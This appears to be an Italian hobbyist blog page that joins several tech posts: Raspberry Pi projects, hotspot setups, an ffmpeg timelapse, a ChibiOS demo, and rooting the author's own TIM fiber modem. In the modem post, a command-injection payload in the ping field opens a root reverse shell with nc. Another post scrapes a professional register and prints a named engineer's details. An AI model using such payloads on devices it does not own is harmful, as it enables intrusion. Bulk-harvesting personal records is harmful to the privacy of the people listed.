Ultimamente ho avuto la necessita’ di rinominare una serie di file in bulk.
Tali files erano all’interno di una cartella, la quale veniva usata dal demone samba per la condivisione nella mia rete.
Il problema che avevo era dovuto al fatto che samba mal supporta i file con i nomi troppo lunghi e per tale motivo, se si accede da remoto alla cartella, vediamo una sequenza di caratteri “strani” invece del loro nome originale
Supponiamo di avere un file del genere nella cartella usata da samba
Sono passati due anni dal mio ultimo post nel blog. Ora mi ritrovo con questo editor bianco, non più familiare come lo era una volta, ma con la stessa necessità che avevo quando ho iniziato questo blog: appuntarmi quello che facevo per poterlo ripetere in futuro.
Finalmente la Fibra è arrivata anche da me (ormai non ci speravo più) sfiorando addirittura la velocità dei 200Mbps (sono di poco al di sotto).
Il modem è quello “nero” della TIM
Ovviamente il SW web a corredo del modem è assai limitato e permette una misera customizzazione del modem. Per la maggior parte delle persone non è un problema visto che meno cose si possono modificare e meno problemi si creano, ma se siete arrivati su questa pagina web… non fate parte di quella categoria.
Da subito ho sentito la necessità di instradare le connessioni verso le mie subnet locali tramite il modem TIM. Questo perchè il mio vecchio switch/router non è Gigabit… e non volevo limitare la connessione della mia sottorete ai solo 100 Mbps :P.
In attesa che arrivi il nuovo switch/router gigabit (https://mikrotik.com/product/RB750Gr3) volevo poter modificare il modem TIM secondo le mie esigenze: instradare i pacchetti dei client collegati al modem sulle mie subnet.
Release: Aqua (16.3)
Version: 16.3.7636-2781008-20170411105953-718b590506a915e24be58946f4755c0c617d9c8d
[/code]
ha una grossa falla di sicurezza che permette di eseguire qualsiasi comando con privilegi di amministratore tramite l’interfaccia WEB.
Guadagnare accesso root
Come primo step ho mettere in ascolto il mio MAC sulla porta 10001
[code language=”bash”]
$ nc -l 10001
[/code]
oppure tramite una macchina Linux con il comando
# nc -lvvp 10001
Poi dal browser digitiamo l’indirizzo IP del modem ed andiamo nella sezione Diagnostica -> Ping&Trace
e nella shermata successiva inserire il seguente comando nella sezione IP Address
[code language=”bash”]
:::::::;nc 192.168.2.92 10001 -e /bin/sh
[/code]
e poi premere Invia Richiesta Ping.
A questo punto, se tutto è andato bene, abbiamo stabilito una connessione tra il modem e la macchina Linux/Mac (quella in cui ci eravamo messi in ascolto) e da cui possiamo eseguire qualsiasi comando come root
La prima cosa che ho fatto è stata quella di cambiare la password di root tramite il seguente comando
[code language=”bash”]
passwd
Changing password for root
New password:
Retype password:
Password for root changed by root
[/code]
Avvio demone dropbear
Ora che abbiamo accesso come root e che abbiamo cambiato la password possiamo fare praticamente di tutto. Il secondo step è stato quello di abilitare il demone dropbear per poter avere sempre un accesso SSH al modem.
Dobbiamo modificare il seguente file /etc/config/dropbear
Arrivati a questo punto abbiamo finito, il modem è in ascolto sulla porta 22 e pronto per accettare connessioni SSH.
Modifica dell regole di route e del firewall
Tutto il lavoro fatto in precedenza era necessario per poter avere una shell bash e poi cercare di capire come poter modificare le regole del firewall per i miei scopi.
Avevo la necessità di far vedere le mie subnet dai client collegati direttamente al modem, per tale motivo ho dovuto aggiungere un paio di comandi al file /etc/rc.local (lo so, non è il metodo più elegante per farlo)
Con il comando route add ho semplicemente detto al modem che per instradare i pacchetti verso le sottoreti 192.168.1.0-192.168.10.0-192.168.20.0 doveva farlo tramite il mio proxy server (192.168.2.1)
Con Il comando iptables ho semplicemente permesso ai client del modem ti poter raggiungere le subnet senza essere bloccati
Era da molto tempo che avevo in mente di configurare un Hotspot gratuito. La scelta e’ ricaduta su Mikrotik RouterOS grazie alle innumerevoli features che mette a disposizione (QOS avanzato, Advertisement, Traffic Shaping…)
Lo scopo dell’HotSpot era quello di non chiedere le credenziali di accesso per ogni utente collegato, ma utilizzare sempre lo stesso account
1 Set-Up Interfacce
La prima cosa da fare e’ quello si dividere togliere dal bridge locale l’interfaccia dove avremo il nostro HotSpot (interfaccia Wi-Fi nel mio caso).
Dopo (tanti) anni di studio ed un lavoro (precario) credo sia arrivata finalmente l’ora di iscrivermi all’albo degli Ingegneri, ma prima di farlo ho cercato di fare una piccola statistica su quanti ingegneri c’erano nella mia provincia (Potenza) e a quale tipo di specializzazione appartenessero.
Purtroppo lo strumento di ricerca del sito ( http://www.ordingpz.it/albo/Albolist.asp ) mette a disposizione dell’utente poche opzioni di ricerca, per tale motivo ho rispolverato la cara e vecchia libreria python Beautiful Soup per scrivere un piccolo script python il quale mi aiutasse ad effettuare il parsing di più pagine HTML e tirasse fuori i dati che mi interessavano.
Il sito in questione (http://www.ordingpz.it) ha una pagina web per ogni ingegnere iscritto all’albo. Tale pagina contiene i vari dettagli dell’ utente, compreso il campi che a me interessavano: “Settore” e “Specializzazione“.
Al seguente link è possibile avere un esempio reale del dettaglio dell’utente (l’ingegnere non è stato scelto a casa, ma è un mio amico con cui ha avuto il piacere di lavorare assieme).
try:
data = urllib2.urlopen(url).read()
except:
print url
soup = BeautifulSoup(data)
n = soup.findAll(“td”,{“width”:”100″})
#print n
numIscr = []
for i in n:
numIscr.append(i.div.string)
A questo punto la lista numIscr contiene tutti gli ID dell’albo degli Ingegneri di Potenza, adesso non ci resta che accedere alle singole pagine degli user e memorizzare tutte le informazioni che ci servono.
Il ciclo for può esterno non va altro che prendere tutti gli ID contenuti in numIscr , accedere alla pagina dell’utente ad esso associato e tramite BeautifulSoup effettuare il parsing della pagina HTML per tirare fuori le informazioni.
Parse HTML
[sourcecode language=”python”]
for i in range(len(numIscr)):
url = “http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=”+str(numIscr[i])
f.write(url+”\n”)
print “Parsing “+ str(i) + ” of ” + str(len(numIscr))
print url
try:
data = urllib2.urlopen(url).read()
except:
print url
soup = BeautifulSoup(data)
#print soup.prettify()
n = soup.findAll(“td” , “ewTableHeader”)
fields = []
for i in n:
fields.append(i.string.encode(‘ascii’,’ignore’))
n = soup.findAll(“div”)
values = [];
#print n
count = 0;
for i in n:
count=count+1;
#print count
if(i.string != None and count > 19):
#print i.string
values.append(i.string.encode(‘ascii’,’ignore’))
for i in range(len(values)):
try:
f.write(str(fields[i]+ “: “+values[i]).encode(‘utf-8’)+”\n”)
except:
print fields[i]+ “: “+values[i]
f.write(“\n”)
f.close()
[/sourcecode]
Nella lista fields saranno elencati tutti i campo della tabella (Ex. Nome, Cognome, Specializzazione ecc) ed in quella values tutti i valori dei campi prima citati. Lo step successivo è quello di scrivere tutte queste informazioni in un unico file per poi poter fare tutte le nostre statistiche in maniera semplice ed immediata.
Il file IngPZAll.txt è output dello script, ed avrà al suo interno il dettaglio di tutti gli ingegneri iscritti all’albo.
Output Example
[sourcecode language=”text”]
..
..
..
http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=2714
N Iscrizione: 2714
Cognome: MONACO
Nome: Pierpaolo
Luogo di Nascita: Potenza
Data di Nascita:
C.F.:
Indirizzo:
CAP:
Citt:
Provincia: PZ
Sezione: A
Settore: Civile ed Ambientale, Industriale, Dell’Informazione
N Iscrizione: 2714
Data Iscrizione: 04/01/2012
Specializzazione: Informatica
Sede Laurea: Roma
Data Laurea: 21/03/2011
Sede Abilitazione: Roma
Anno Abilitazione: 2011
Ordine di Provenienza: Potenza
Data Prima Iscrizione: 04/01/2012
..
..
[/sourcecode]
Ora con una semplice comando bash posso facilmente capire ciò che volevo…
Ancora devo abituarmi all’idea di poter passare una domenica senza toccare un libro universitario. Quante ne ho passate cercando disperatamente di memorizzare e ripassare (in realtà rare volte sono arrivato alla fase di ripasso 😛 ) qualche argomento per gli esami sempre troppo vicini.
Era arrivata l’ora di riempire un pò questo blog, un blog nato come passatempo serale… e che ho lasciato nel dimenticatoio per troppo tempo.
Quale miglior argomento di un pò di codice assembly ARM e GPIO per ricominciare??
Lo scopo è quello riuscire ad accendere e spegnere un misero led (OK or ACT led per le specifiche Raspberry) collegato al 16esimo pin GPIO (pdf to ARM peripherals) tramite codice scritto direttamente in assembly.
1) Download e Settings ARM Toolchain
La prima cosa da fare è installare una toolchain di sviluppo per processori ARM. Se non volere compilarvi gcc a “manella” potete utilizzare questa toolchain pronta per l’uso ( disponibile per Windows/Linux/MacOS): YAGARTO
Una volta scaricato ed aperto il .dmg, vi chiederà di spostare il file .app in una cartella ed eseguirlo in modo tale da copiare i file binari di gcc in essa.
[sourcecode language=”bash”]unicondor@iMac:yagarto-4.7.2> ls
Binutils.webloc COPYING.LIBGLOSS COPYING3.LIB GNU.webloc arm-none-eabi lib source.txtCOPYING COPYING.NEWLIB GCC.webloc Newlib.webloc bin libexec tools
COPYING.LIB COPYING3 GDB.webloc YAGARTO.webloc include share version.txt
[/sourcecode]
Ora non ci resta altro che includere il percorso di tale cartella nella variabile locale relativo ai vari PATH della nostra shell.
Per facilitarci ancora di più il compito possiamo procurarci questo template. Composto da una serie di files (sotto elencati) che ci aiuteranno nella compilazione dei nostri sorgenti
Dove: main.s sarà il nostro file sorgenti scritto direttamente in assembly ARM kernel.ld è usato dal linker per mappare correttamente le zone di memoria (qualche interessante articolo si potrebbe scrivere su questo file) Makefile spero non ci sia bisogno di spiegazioni 😛
3) Main.s
Ecco il file più importante, il file sorgente scritto direttamente in ARM assembly
[sourcecode language=”bash”]
/*
* .section is a directive to our assembler telling it to place this code first.
* .globl is a directive to our assembler, that tells it to export this symbol
* to the elf file. Convention dictates that the symbol _start is used for the
* entry point, so this all has the net effect of setting the entry point here.
* Ultimately, this is useless as the elf itself is not used in the final
* result, and so the entry point really doesn’t matter, but it aids clarity,
* allows simulators to run the elf, and also stops us getting a linker warning
* about having no entry point.
*/
.section .init
.globl _start
_start:
/*
* This command loads the physical address of the GPIO region into r0.
*/
ldr r0,=0x20200000
/*
* Our register use is as follows:
* r0=0x20200000 the address of the GPIO region.
* r1=0x00040000 a number with bits 18-20 set to 001 to put into the GPIO
* function select to enable output to GPIO 16.
* then
* r1=0x00010000 a number with bit 16 high, so we can communicate with GPIO 16.
*/
mov r1,#1
lsl r1,#18
/*
* Set the GPIO function select.
*/
str r1,[r0,#4]
/*
* Set the 16th bit of r1.
*/
mov r1,#1
lsl r1,#16
/*
* Set GPIO 16 to low, causing the LED to turn on.
*/
str r1,[r0,#40]
/*
* Loop over this forevermore
*/
loop$:
b loop$
[/sourcecode]
Nella sezione references trovate altri esempi da cui questo è stato preso. E’ molto semplice ed intuitivo da capire, inoltre è anche ben commentato per cui posso evitare di spiegare cosa fa 😀
Non dobbiamo fare altro che aggiungere il main.s nella cartella source del template prima scaricato e lanciare la compilazione. Infine avremo il nostro bel kernel.img da poter inserire nella nostra scheda SD e rimpiazzarlo con quello ufficiale di Raspian.
Se tutto e’ andato nel verso giusto, appena inserita l’alimentazione al nostro raspberry si accendera’ il LED ACT…. forse 😛
Già mi ero cimentato qualche volta con la creazione di un video tramite sequenza di immagini timelapse, usando dei tool che in automatico mi creavano il flusso video da una sequenza di immagini.
Questa volta, da buon smanettone :P, ho voluto utilizzare solo la potenza della shell di Linux e strumenti OpenSource come ffmpeg.
L’hardware a disposizione non è stato uno dei migliori. Ho dovuto utilizzare il mio vecchio Asus EeePC 701 dotato di una misera telecamera da 640×480 px … e tanta pazienza :D.
1) Cattura Immagini Timelapse
Per la cattura delle immagini dalla videocamera ho usato il tool sviluppato da Ubuntu: cheese e l’utility scrot per quanto riguarda la cattura delle immagine tramite screenshot.
Il mio script non fa altro che lanciare cheese in background a tutto schermo e catturare le immagini ogni 5 sec via scrot. So che esistono molti altri metodi per catturare le immagini direttamente dalla fotocamera senza effettuare lo screenshot, ma nel mio caso avevo bisogno di mostrare anche al pubblico le immagini che stavo riprendendo.
[sourcecode language=”bash”]
#!/bin/sh
/usr/bin/cheese &
while true
do
scrot /media/photo/’%H%M%S.png’
sleep 5
done
[/sourcecode]
2) Creazione Flusso Video
Se tutto è andato nel verso giusto avremo le nostre .png pronte per essere unite tra loro per creare il flusso video vero e proprio. FFMPEG è proprio il tool che fa a caso nostro, infatti basta dare questo piccolissimo comando per avere il video finale.
15 agosto e la sera esco con camicia e felpa, quale miglior giorno per provare il mio nuovo sensore di temperatura ed umidità tramite il Raspberry Pi ? 😛
il Sensore in questione (DHT11) è uno di quelli “cinesi” che si trovano a pochi euro in qualsiasi negozio online. Ha un range di misurazione della temperatura tra 0-50°C & un range di umidità tra 20-95%.
Online si trovano miriadi di link su come collegarlo al nostro Raspberry Pi, La foto allegata all’inizio del post vi mostra il mio schema…
Bhe ammetto che si capisce molto poco, forse meglio utilizzarne uno preso dal web 😀
Una volta collegato il nostro sensore al Raspberry PI (io uso il connettore Adafruit ) non vi resta che scaricare le librerie per l’interfacciamento con il sensore
[sourcecode language=”bash”]
$ git clone git://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code.git
$ cd Adafruit-Raspberry-Pi-Python-Code
$ cd Adafruit_DHT_Driver
[/sourcecode]
Bene, una volta scaricato il binario ( già compilato per il nostro processore) possiamo eseguirlo direttamente dalla shell dei comandi
Dove “11” indica il modello del sensore, ed il “4” indica il PIN GPIO a cui è collegato.
Non sarebbe bello avere un grafico con l’andamento della temperatura ed accessibile ovunque tramite web??
Esistono molto modi (e molte API) per esportare i dati sul web, io ho utilizzato le API che google docs mette a disposizione.
1) Creazione Spreadsheet
Prima di tutto andiamo su google docs e creiamo il nostro spreadsheet dove andremo ad inserire i nostri dati
1) Installazione Ed esecuzione della libreria Python
Per poter fare upload dei dati presi dal sensore, possiamo utilizzare una libreria che ci semplifica di molto le operazioni per l’interfacciamento con google. La libreria in questione si chiama GSpread
[sourcecode language=”bash”]
wget http://pypi.python.org/packages/source/g/gspread/gspread-0.0.13.tar.gz#md5=d413ad08805f3f0a1e9d5f9bebe5d35b
tar -zxvf gspread-0.0.13.tar.gz
cd gspread-0.0.13
sudo python setup.py install
[/sourcecode]
Una volta installata dobbiamo modificare alcuni opzioni: andiamo nella directory Adafruit-Raspberry-Pi-Python-Code/Adafruit_DHT_Driver ed editiamo il file Adafruit_DHT_googledocs.ex.py nei seguenti punti:
[sourcecode language=”python”]
# ===========================================================================
# Google Account Details
# ===========================================================================
Temperature: 26.0 C
Humidity: 37.0 %
Wrote a row to Temperature_Flavio_Home
Using pin #4
Data (40): 0x25 0x0 0x1a 0x0 0x3f
Temp = 26 *C, Hum = 37 %
Temperature: 26.0 C
Humidity: 37.0 %
Wrote a row to Temperature_Flavio_Home
Using pin #4
Data (40): 0x24 0x0 0x1a 0x0 0x3e
Temp = 26 *C, Hum = 36 %
[/sourcecode]
Mentre se apriamo il nostro spreadsheet vedremo in real-time i valori letti dal nostro Raspberry Pi 😀
Dovrei studiare per l’esame di stato ma, ogni giorno, trovo sempre qualcosa di piu’ interessante da fare.
Era da un po’ di tempo che avevo in mente l’idea di creare degli HotSpot WiFi Free per l’accesso gratuito ad Internet per i clienti di: Caffe del Corso e Bar Belvedere (permettetemi un po’ di pubblicita’ 😛 ).
Dopo aver girovagato un po’ su internet sulle varie soluzioni da poter utilizzare, alla fine il suggerimento migliore (come sempre accade) e’ stato quello del mio mentore Franco 😀
Utilizzare pfsense come Captive Portal e’ davvero semplice ed intuitivo. Ci ho perso solo 2 gg 😛 , ma questo mi ha permesso di avere degli accessi controllati sia in termini di banda (download/upload) sia in termini di tempo (minuti per ogni connessione).
Ho usato una macchina virtuale tramite Virtualbox per far girare pfsense (Attenzione, quando create la macchina virtuale scegliete BSD e non Linux altrimenti non vi vede le interfacce di rete ). Di seguito vi mostro i passi da seguire per un corretto settaggio delle interfacce di rete e del Captive Portal.
Per l’installazione di pfsense su macchine virtuali trovate un sacco di tutorial su google, io ho scaricato direttamente la .iso image del LiveCD montata all’avvio e poi ho provvedo alla sua installazione sull’hard disk virtuale.
Premetto che da buon utilizzare di Slackware, ho utilizzato l’interfaccia testuale e non quella grafica. Il risultato finale è lo stesso, una volta capito cosa fare potete impostare i miei stessi parametri utilizzando la comoda interfaccia web che pfsense ci mette a disposizione.
Appena finita l’installazione di pfsense, ho settato la prima interfaccia virtuale in bridge mode con la mia interfaccia fisica WAN, e la seconda interfaccia virtuale in bridge mode con la mia ethernet che fungera’ da LAN interna per l’HotSpot.
1) Riepilogo Interfacce e Creazione VLANs
Al primo avvio di pfsense avremo il riepilogo delle interfacce che abbiamo a disposizione, rispettivamente: em0 ed em1 (quelle settate nelle figure precedenti), e la richiesta di creare delle interfacce vortuali all’interno di pfsense. Per ora scriviamo “n”, possiamo abilitare le interfacce viartuali in un secondo momento.
I problemi erano gia’ parecchi prima di iniziare la tesi, ma ora credo di aver passato ogni limite. Non posso passare le nottate appresso ad una board con 48K di RAM, 256KB di Flash ed un processore ARM Cortex-M a 78 Mhz preso da una insana, quanto assurda, smania verso ogni tipo di controllore per montarci su un RTOS 😛
La board in questione mi e’ stata gentilmente concessa dal mio Professore, per giunta lo stesso professore relatore della mia tesi. Per tale motivo, credo di aver una scusa decente per essere un po’ in ritardo nella stesura :P.
Il programma di esempio su cui mi sono cimentato utilizza un RTOS ( ChibiOS/RT ) e la sua toolchain (davvero semplicissima da usare grazie alla sua integrazione con Eclipse) usata per compilare il file oggetto e caricarlo direttamente in flash.
Una passeggiata rispetto a quello fatto per il porting di ThreadX su un microcontrollore ARC-based, ma questo (forse) sara’ un articolo che cerchero’ di scrivere un po’ piu’ il la… sempre che il lavoro svolto sia sufficientemente decente.
Ritornando all’applicazione, e’ davvero un programmino semplice che emula il comportamento del famoso gioco della fortune wheel (non sono sicuro del nome 😛 ) ed e’ composto da tre threads:
main
thread1
thread2
Dove il main si occupara di gestire un interrupt che gli arriva quando premiamo il pulsante USER; thread1 non e’ altro che un semplice ciclo while che accende e spegne, in maniera circolare, gli 8 LED; il thread2 che si occupa di verificare se nell’attimo in cui e’ stato premuto il pulsante USER la luce del LED rosso era accesa…. vabbe’ e’ piu’ semplice a farsi che a dirsi.
/*
* This is a periodic thread that does absolutely nothing except flashing LEDs.
*/
static WORKING_AREA(waThread1, 128);
static msg_t Thread1(void *arg) {
(void)arg;
chRegSetThreadName("blinker");
int i=0;
int ledTime[10]={215,260,220,600,40,20,10,5,15,25};
while (TRUE) {
/*
* System initializations.
* – HAL initialization, this also initializes the configured device drivers
* and performs the board-specific initializations.
* – Kernel initialization, the main() function becomes a thread and the
* RTOS is active.
*/
//palSetPad(GPIOE, GPIOE_LED3_RED);
halInit();
chSysInit();
//palSetPad(GPIOE, GPIOE_LED3_RED);
/*
* Activates the serial driver 1 using the driver default configuration.
* PA9(TX) and PA10(RX) are routed to USART1.
*/
sdStart(&SD1, NULL);
palSetPadMode(GPIOA, 9, PAL_MODE_ALTERNATE(7));
palSetPadMode(GPIOA, 10, PAL_MODE_ALTERNATE(7));
//palSetPad(GPIOE, GPIOE_LED3_RED);
/*
* Creates the example thread.
*/
chThdCreateStatic(waThread1, sizeof(waThread1), NORMALPRIO, Thread1, NULL);
//palSetPad(GPIOE, GPIOE_LED3_RED);
/*
* Normal main() thread activity, in this demo it does nothing except
* sleeping in a loop and check the button state, when the button is
* pressed the test procedure is launched.
*/
while (TRUE) {
if (palReadPad(GPIOA, GPIOA_BUTTON)){
chThdCreateStatic(waThread2, sizeof(waThread2), NORMALPRIO, Thread2, NULL);
chThdSleepMilliseconds(500);
}
}
}
Finalmente è arrivato a casa il Raspberry Pi. Settimane di attesa per poter smanettare un pò vicino a questo fantastico “giocattolino”.
Assieme a mio fratello abbiamo cercato di installare subito vncserver, ma le soluzioni che si trovano online : running-vncserver-at-startup , hanno bisogno dell’avvio del server grafico per poter lanciare correttamente il demone di vncserver.
Per ovvirare a questa limitazione, la mia soluzione avvia il demone di vncserver tramite lo script di avvio: /etc/rc.local
[sourcecode language=”bash”]
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
printf "My IP address is %s\n" "$_IP"
fi
#Start Vnc Server
export USER=pi
vncserver :1
exit 0
[/sourcecode]
Prima di lanciare il comando di avvio del server, ho dovuto esportare la variabile globale USER altrimenti il demone non riusciva a leggere correttamente i file di configurazione che avevo editato in /home/pi/.vnc e mi dava il seguente errore:
"Starting vncserver: Starting VNC server: 3: root vncserver: The USER
environments variable is not set"
Al primo avvio vi chiederà di inserire la password di accesso, poi la setterà in automatico ad ogni riavvio.